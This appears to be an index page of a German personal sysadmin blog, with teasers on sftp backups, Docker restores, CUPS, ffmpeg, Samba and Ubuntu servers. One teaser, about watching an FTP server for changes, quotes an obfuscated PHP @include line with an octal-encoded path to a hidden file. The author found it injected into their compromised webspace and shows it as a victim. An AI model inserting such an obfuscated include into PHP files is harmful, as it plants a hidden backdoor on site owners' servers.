This page intentionally left blank
  Seite:  1 2 >> 25 Artikel insgesamt   
Webserver-Backup mit Kommandozeilenprogramm sftp

Eigentlich geht es hier nicht speziell um Webserver-Backups, sondern eher allgemein um die Verwendung des sftp-Kommandozeilenprogrammes.

In meinem ganz speziellen Fall wollte ich jedoch ein wöchentliches Backup aller PHP-Skripte & Co. von einem Webserver machen, da ich an den PHP-Skripten ständig arbeite und im Hintergrund gerne eine relativ aktuelle funktionierende Kopie haben möchte.

Sucht man im Internet zu Hilfestellungen zum sftp-Kommandozeilenprogramm, endet die Hilfestellung meist mit dem Tipp, doch lieber scp oder rsync zu verwenden.
Dies soll hier nicht der Fall sein, da in meinem Fall der betroffene Webserver jegliche Verbindung außer explizit sftp ausschließt.

Mein Ziel:
Ein kurzes Skript, das fast alle Dateien eines Verzeichnisses auf dem SFTP-Server herunterlädt. Ich paar Dateien und Verzeichnisse möchte ich allerdings vom Herunterladen ausschließen, da sie Bilder, Dokumente und temporäre Daten enthalten, welche ich bei meiner Kopie nicht benötige.
Das schließt die einfachste Verwendung von sftp schonmal aus...

Weiterlesen...
 
Cold Spare Docker Container oder wie ich ein Docker Backup wieder herstelle

In diesem Artikel hatte ich beschrieben, wie ich ein Backup eines Docker-Daten-Volumes erstelle.

Allerdings ist in diesem Fall das Erstellen eines Backups nur die halbe Miete.
Erstelle ich ein Backup meiner Fotosammlung und die Fotosammlung geht verloren...dann greife ich einfach auf das Backup zu.
Aber was fange ich mit dem Backup des Docker-Daten-Volumes an, wenn zum Beispiel der Server den Geist aufgibt, auf dem Docker läuft? Wie bekomme ich meinen Docker Container wieder zum Laufen inklusive der verwendeten Dateien?

Das Folgende habe ich an Hand meines Bitwarden/Vaultwarden-Containers beschrieben, wo alle wichtigen Daten in einer sqlite-Datenbank gespeichert werden, die in einem Docker-Daten-Volume liegt.

Weiterlesen...
 
PHP-Modul installieren, wenn man mehrere PHP-Versionen einsetzt

Bei der Installation einer PHP-Extension hatte ich schon fast aufgegeben, weil mir die verschiedenen auf dem Server installierten PHP-Versionen einen Strich durch die Rechnung gemacht hatten.

Was man zu beachten hat, wenn auf einem Server mehrer PHP-Versionen installiert sind und ein paar hinzugewonnene Erkenntnisse meinerseits.

Weiterlesen...
 
Datei per Kommandozeile zu Dropbox hochladen und Download-Link generieren

Dropbox hat an sich ja ein praktisches Programm, welches einen Ordner auf der Festplatte ständig mit dem Dropbox-Server synchronisiert.
Allerdings benötige ich selbst kein ständig synchronisierendes Programm und finde den Dropbox-Client inzwischen etwas zu überladen. Noch dazu nervt, dass es dann mal wieder nicht funktioniert, wenn man das Programm nicht upgedatet hat oder das Programm sich nicht mehr updaten lässt, wenn Dropbox meint, dass das Betriebssystem zu alt wäre.

Ich bin auf einige Bibliotheken gestoßen, die auf der Dropbox-API aufbauen. Aber will man einfach nur mal eine Datei auf den Dropbox-Server hochladen, um sie von wo anders wieder herunterladen oder jemandem einen Download-Link senden zu können, geht das auch ganz einfach via curl.

Weiterlesen...
 
Spaß mit CUPS: DHL- und Postetiketten auf Etikettendrucker ausdrucken

DHL-Paketetiketten und Briefmarken der Post online zu kaufen, ist eine (mehr oder weniger) praktische Sache. Weniger praktisch ist die "letzte Meile", bis die Frankierung dann auf Paket oder Brief ist: Ausdrucken, ausschneiden, mit Kleber einschmieren oder mit zig Streifen Tesafilm befestigen.

Praktisch, wenn man einen Etikettendrucker zur Hand hat, wie etwa jenen hier.
Zusammen mit 100x200mm-Etiketten für DHL-Paketmarken und 76x51-Etiketten für Briefmarken ist die Frankierung nun ein Kinderspiel, besonders nachdem ich mir zwei virtuelle CUPS-Drucker erstellt habe, die die heruntergeladenen PDF-Etiketten im DIN A4-Format auf die passende Etikettgröße beschneiden.

Das heißt: Paketmarke oder Briefmarke herunterladen, PDF öffnen und auf meinem virtuellen Drucker "DHL" oder "Briefmarke" ausdrucken. Sofern die richtigen Etiketten eingelegt sind, kommt alles passend raus.

Weiterlesen...
 
Fritz!Box API via curl/wget (ohne SOAP/TR-064)

Während ich in diesem Artikel ein paar Erkenntnisse über die offizielle Fritz!Box-API festgehalten hatte, auf welche ich via PHP zugegriffen habe, möchte ich hier noch einen weiteren Weg nennen, der direkt auf das Web-UI der Fritz!Box zugreift, wie man sie selbst im Browser öffnet.

Auf diesem Wege kann man ggf. noch ein paar weitere Dinge abgreifen, die über die offizielle SOAP-Schnittstelle nicht möglich sind (ich vermisse dort zum Beispiel das gesammte Ereignis-Log und habe Probleme mit der Download-Statistik), allerdings stellt sich die Frage, ob der Zugriff nicht bei irgendeinem Update entfällt...

Weiterlesen...
 
Film schneiden mit ffmpeg

Eine Antwort darauf, wie man aus einer Video-Datei mit Hilfe von ffmpeg einen Teil herausschneidet, ist im Internet schnell gefunden:

Hier zum Beispiel werden ab Sekunde 30 die folgenden 10 Sekunden hinausgeschnitten und in eine neue Datei geschrieben:

ffmpeg -ss 30 -i input.mp4 -c copy -t 10 output.mp4

Bei längeren Videos gibt es, um die Bearbeitung zu beschleunigen, wohl noch den Tipp mit einer -ss-Option vor der Eingabedatei, "schnell vorzuspulen" und dann mit einer weiteren -ss-Option nach der Eingabedatei den Startzeitpunkt etwas genauer zu setzen, als es die erste Option alleine tun würde.
Der Tipp könnte aber wohl auch ab ffmpeg 2.1 obsolet sein.

Zum Beispiel schnell zur 8. Minute "vorspulen", dann nach einer weiteren Minute (ab der 9. Minute) 1 Minute aus dem Video extrahieren:

ffmpeg -ss 00:08:00 -i input.mp4 -ss 00:01:00 -t 00:01:00 -c copy output.mp4

Ich wollte allerdings eine Video-Datei in mehrere Teile zerlegen (anstatt nur ein Teil hinauszuschneiden) und habe mir dafür eine Bash-Funktion für mein .bash_profile geschrieben.

Die Installation von ffmpeg und den notwendigen Codecs ist natürlich obligatorisch.

Weiterlesen...
 
FTP-Server auf Änderungen prüfen

Irgend ein Arsch wurschtelt in letzter Zeit immer in meinem Webspace rum. Verändert index.php-Skripte und fügt in jedes Verzeichnis eine index.php hinzu (sofern keine im Verzeichnis vorhanden war).

Inhalt (bzw. was hinzugefügt wurde) ist immer nur ein kryptisches (leicht geändert, da es auf meinen tatsächlichen Webspace verweist)

@include "\057ho\155e/\163tr\141to\057ht\164p/\160re\155iu\155/r\151d/\0684/\0621/\06112\06912\063/h\164do\143s/fo\156t/\0569d\070c3\142f2\056ic\157";

Wenn man die \xxx-Octal-UTF8-bytes zu ASCII-Zeichen umwandelt, sieht man, was für ein Pfad wirklich dahinter steckt.
Eine Datei .9d8c3bf2.ico konnte ich allerdings nicht finden

Wobei ich nicht feststellen kann, dass einer HTML-Seite letztendlich wirklich weiterer Code hinzugefügt wird. Die index.php, die nur dieses Include enthalten, sind bei einem Test-Aufruf einfach leer.

Beunruhigend ist, dass nach einem Entfernen und Ändern der FTP-Zugangsdaten nach einem Tag sofort wieder alle Spam-Dateien zurück sind.
Ob es eine Sicherheitslücke der Highcharts oder des jQuery File Upload ist, muss ich noch recherchieren.
Ich habe zwar noch weitere Maßnahmen zum "Dichtmachen" meines Webspaces ergriffen, aber zwecks Überwachung wollte ich eine tägliche Kontrolle, ob sich die Dateien in meinem Webspace geändert haben.

Weiterlesen...
 
E-Mail mit Anhang von Kommandozeile aus versenden

Ich hatte hier zwar schon einmal einen Artikel geschrieben, wie man bequem per Kommandozeile Dateien in die Dropbox verfrachten kann, so dass man sich von fern über die Dropbox-Homepage oder einen anderen Computer die Datei abholen kann.

Allerdings will man Dropbox vielleicht nicht unbedingt nutzen oder stellt fest, dass das Dropbox-Programm zu Hause wohl nicht aktiv/verbunden ist und die Datei einfach nicht hochgeladen werden will.

Natürlich kann man (bei kleineren Dateien) auch den direkten Weg gehen und sich die Datei(en) einfach selbst per E-Mail zusenden lassen.

Weiterlesen...
 
Hotfolder, um PDFs auszudrucken

Wenn ich im Büro mal etwas ausdrucken muss, dann ist es in den meisten ein Fällen ein PDF, welches ich erst einmal mit der Vorschau oder dem Acrobat öffnen muss, dann den Druckdialog öffnen und auswählen, ob Schwarz/Weiß oder farbig und ob A3 oder A4. Vielleicht noch einen Haken setzen, dass duplex gedruckt werden soll.
Viel schneller geht das mit einem Hotfolder (bzw. mehreren Hotfolder je nach Farbigkeit und Format), in welchen ich das PDF einfach reinschmeiße und mich um alles andere nicht mehr kümmern muss.

Weiterlesen...
 
CUPS-Drucker umbenennen/duplizieren

Was tun, wenn man unter UNIX/MacOS einen Drucker umbenennen oder mitsamt aller Einstellungen duplizieren möchte?
Ersteres geht in einem System mit GUI problemlos, ohne GUI kam ich hier über das CUPS-Web-Interface https://IP:631 nicht weiter.

Weiterlesen...
 
WD My Cloud: Zugriff auf WebUI aufbohren

Meinen Eltern hatte ich mal eine Western Digital MyCloud auf's Auge gedrückt, die bei ihnen im Netzwerk hängt und die wie in diesem Artikel beschrieben ein Fernbackup meines eigenen Backups hält.

Ich wunderte mich immer wieder, wieso ich von zu Hause aus über die bestehende VPN-Verbindung nicht auf das Web-Interface der Festplatte zugreifen kann und dachte jedes Mal, das blöde Teil hätte sich schon wieder aufgehängt.

Als ich dann doch mal die Muse hatte, Tante Google zu fragen, stieß ich recht schnell darauf, dass das Web-UI auf das Subnetz beschränkt ist, in dem die Platte selbst hängt. Da ich über die VPN-Verbindung allerdings in einem anderen Subnetz bin, werde ich immer von einem

You don't have permission to access /UI on this server.
begrüßt, sobald ich die Adresse der Platte im Browser eingebe.

Weiterlesen...
 
Ubuntu Server: Speicherplatz

Letztens führte ich an meinem Ubuntu Server ein Update durch und bekam auf einmal einen Haufen Fehlermeldungen, dass kein Speicherplatz mehr vorhanden wäre

gzip: stdout: No space left on device

...was mich allerdings sehr verwunderte, da laut WebMin gerade mal 7 von 47 GB Festplattenspeicher genutzt sind.

Aber bei den ganzen Partitionen unter Linux ist nun mal nicht so einfach zu sagen, wo wie viel Speicherplatz frei ist und wo der ganze Speicherplatz denn hin ist...
(zumindest, wenn man wie ich ansonsten eher im Mac-Unix-mit-GUI-Bereich unterwegs ist)

Weiterlesen...
 
Unix, Samba und Dateiberechtigungen

Eine Samba-Freigabe unter Unix einrichten...das kann schnell gehen, man kann damit aber auch einen Arbeitstag verbraten.
In meinem Fall war die Samba-Freigabe an sich recht schnell eingerichtet, das Ergebnis der von anderen Computern rüberkopierten Daten allerdings weitab von dem, was ich mir gewünscht hatte: Alle Dateien, die ich von einem Mac-Rechner über das Netzwerk auf den Unix-Server kopiert hatten, hatten auf dem Unix-Server – egal, was man machte – die Berechtigung 644.

Im Folgenden ein paar Erkenntnisse, die ich über Samba gesammelt hatte. Wer sich auch schon mit

create mode
,
create mask
,
force create mode
 & Co abgemüht hat, sich ganz sicher ist, dass er weiß, was er hier tat und trotzdem auf dem Unix-Server Dateien mit "falscher" Berechtigung hat, möge gleich zur Erkenntnis Nummer 4 "unix extensions" scrollen.

Weiterlesen...
 
Ubuntu Server einrichten

In meiner Firma verrichten schon seit gut 10 Jahren zwei alte Macs ihren Dienst als Server. Zwar schlagen sie sich immer noch zuverlässig und wacker, aber ich wollte sie lieber ersetzen, bevor sie den Abgang machen.
Ersatz ist ein virtueller Ubuntu Server in Version 16.04, den ich frisch von unserer IT installiert bekommen habe.

Im Folgenden möchte ich mehr für mich selbst alle Schritte dokumentieren, die ich ausgeführt hatte, um aus dem frisch installierten Server meinen für die Praxis benötigten xDaemon-Server zu erstellen.
Da der Ubuntu Server standardmäßig über keinen Desktop/UI verfügt, erfolgen alle Schritte von meinem Mac aus über einen ssh-Zugriff oder hier und da über ein Web-Interface.

Weiterlesen...
 
  Seite:  1 2 >> 25 Artikel insgesamt